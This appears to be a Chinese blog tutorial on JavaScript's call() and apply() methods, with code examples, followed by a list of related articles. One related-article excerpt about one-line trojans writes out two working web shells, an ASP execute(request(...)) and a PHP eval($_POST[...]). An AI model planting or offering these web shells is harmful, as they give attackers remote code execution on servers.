1:每个函数都包含两个非继承而来的方法:call(),apply().

2:call方法和apply方法作用是一样的。

下边是call的使用例子:

 window.color = 'red';
document.color = 'yellow';
var s1 = {color: 'blue'}; function getColor (){
console.log(this.color);
}
getColor.call(); //red (默认传递参数)
getColor.call(window);// red
getColor.call(document);//yellow
getColor.call(s1);//blue
getColor.call(this);//red
 var Pet={
words : '...',
speak : function(say){console.log(say+ ' ' + this.words);}
} Pet.speak('howling'); //howling... var Dog = {words: 'wang wang'} Pet.speak.call(Dog, 'barking');// barking wang wang

下边是apply使用例子

 window.number = 'one';
document.number = 'two';
var s2 = {number: 'three'}; function getNum(){ console.log(this.number); } getNum.apply(); // one 默认
getNum.apply(window); //one
getNum.apply(document);//two
getNum.apply(s2);//three
getNum.apply(this);//one
 function Pet(words){
this.words = words;
this.speak = function(){ console.log(this.words) }
} function Dog(words){
// Pet.call(this, words);
Pet.apply(this, arguments);
} var dog = new Dog('wang wang');
dog.speak();// wang wang

3:不同点是接收参数的方式不同。

function add(c,d){ return this.a + this.b + c + d;}

var s = {a:1, b:2};
console.log( add.call(s,3,4) );// 1+2+3+4 =10
console.log( add.apply(s,[3,4]) ); // 1+2+3+4 =10
 window.firstName = "tomF";
window.lastName = "tomL";
var myObj = {firstName:"myF", lastName:"myL"}; function getName(){ console.log(this.firstName + this.lastName); } function getMess(sex, age){
console.log(this.firstName + this.lastName+ "性别:"+sex+"age:"+age);
} getName.call(window);//tomFtomL
getName.call(myObj);//myFmyL
getName.apply(window);//tomFtomL
getName.apple(myObj);//myFmyL getMess.call(window,'girl',21);//tomFtomL性别:girlage:21
getMess.apply(window,['girl',21]);//tomFtomL性别:girlage:21
getMess.call(myObj,'unknown',30);//myFmyL性别:unknownage:30
getMess.apply(myObj,['unknown',30]);//myFmyL性别:unknownage:30

call 和 apply 方法的更多相关文章

  1. JS中 call() 与apply 方法

    1.方法定义 call方法: 语法:call([thisObj[,arg1[, arg2[,   [,.argN]]]]]) 定义:调用一个对象的一个方法,以另一个对象替换当前对象. 说明: call ...

  2. JavaScript学习笔记(1))——————call,apply方法

    学习前端也有一段时间了,但是效果甚微.利用时间不够充分,虽然是利用工作之余来学习.但是这不能成为我的借口. 今天学习了(其实看了很多遍)call apply方法. function abc(a,b){ ...

  3. angularjs $scope.$apply 方法详解

    myApp.controller('firstController',function($scope,$interval){ $scope.date = new Date(); setInterval ...

  4. 《ES6基础教程》之 Call 方法和 Apply 方法

    <script type="text/javascript"> // Call方法: // 语法:call(thisObj[,arg1,arg2,...,argN]) ...

  5. Js apply方法详解

    我在一开始看到javascript的函数apply和call时,非常的模糊,看也看不懂,最近在网上看到一些文章对apply方法和call的一些示例,总算是看的有点眉目了,在这里我做如下笔记,希望和大家 ...

  6. JS中的call()和apply()方法

    1.方法定义 call方法: 语法:call([thisObj[,arg1[, arg2[,   [,.argN]]]]]) 定义:调用一个对象的一个方法,以另一个对象替换当前对象. 说明: call ...

  7. 优雅的数组降维——Javascript中apply方法的妙用

    将多维数组(尤其是二维数组)转化为一维数组是业务开发中的常用逻辑,除了使用朴素的循环转换以外,我们还可以利用Javascript的语言特性实现更为简洁优雅的转换.本文将从朴素的循环转换开始,逐一介绍三 ...

  8. js巧用apply方法实现数组最值以及合并

    尽管js的apply方法在平常的使用中并不多见,但是在某些地方使用的还是很有帮助性的,这里就和大家说两个比较实用的例子:1.数组最大最小值 求数组中的最大最小值,js有相应的方法:Math.min() ...

  9. 原生JS中apply()方法的一个值得注意的用法

    今天在学习vue.js的render时,遇到需要重复构造多个同类型对象的问题,在这里发现原生JS中apply()方法的一个特殊的用法: var ary = Array.apply(null, { &q ...

  10. scala 学习笔记(04) OOP(上)主从构造器/私有属性/伴生对象(单例静态类)/apply方法/嵌套类

    一.主从构造器 java中构造函数没有主.从之分,只有构造器重载,但在scala中,每个类都有一个主构造器,在定义class时,如果啥也没写,默认有一个xxx()的主构造器 class Person ...

随机推荐

  1. jmeter中assertion的使用

    用于检查测试中得到的响应数据等是否符合预期,用以保证性能测试过程中的数据交互与预期一致. 最新版本的3.0jmeter中有13种不同的断言: 1)BeanShell断言:针对sampler中的Bean ...

  2. iOS加解密最重要的干货:CCCrypt

    需要引入框架#import <CommonCrypto/CommonCryptor.h> 函数定义: CCCryptorStatus CCCrypt( CCOperation op, /* ...

  3. 0001-代码仓库-git 命令

    参考 https://www.cnblogs.com/NTWang/p/6213408.html https://www.cnblogs.com/Sungeek/p/6905102.html

  4. Android笔记(五十四) Android四大组件之一——ContentProvider(一)

    ContentProvider提供数据 在Android中,他的每个应用都是相互独立的,各自运行在自己的Dalvik虚拟机中,但现实使用中常常需要在多个应用之间进行数据交换,例如发短信需要获取联系人中 ...

  5. PLC编程的基础知识的总结

    1.Programmable Logic Controller   PLC 代替计算机实现复杂的逻辑控制系统  ,可编程控制器是一种数字运算操作电子系统,转门在工业控制系统中使用而设计的,采用一种可以 ...

  6. XML知识学习

    第一部分[基础篇]: https://www.w3school.com.cn/xml/xml_intro.asp W3C教程地址 什么是 XML? XML 指可扩展标记语言(EXtensible Ma ...

  7. 本地安装部署Jira

    https://blog.csdn.net/u013492736/article/details/83315650 1. 首先在官网下自行搭建服务器的版本,有适合于windows的,也有linux版本 ...

  8. 简单的一句话木马(asp aspx php)

    一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...

  9. P1903 [国家集训队]数颜色 / 维护队列(带修莫队)

    题目描述: 墨墨购买了一套N支彩色画笔(其中有些颜色可能相同),摆成一排,你需要回答墨墨的提问.墨墨会向你发布如下指令: 1. Q L R代表询问你从第L支画笔到第R支画笔中共有几种不同颜色的画笔. ...

  10. AI demo framework

    import pickle import matplotlib.pyplot as plt from sklearn import datasets from sklearn.model_select ...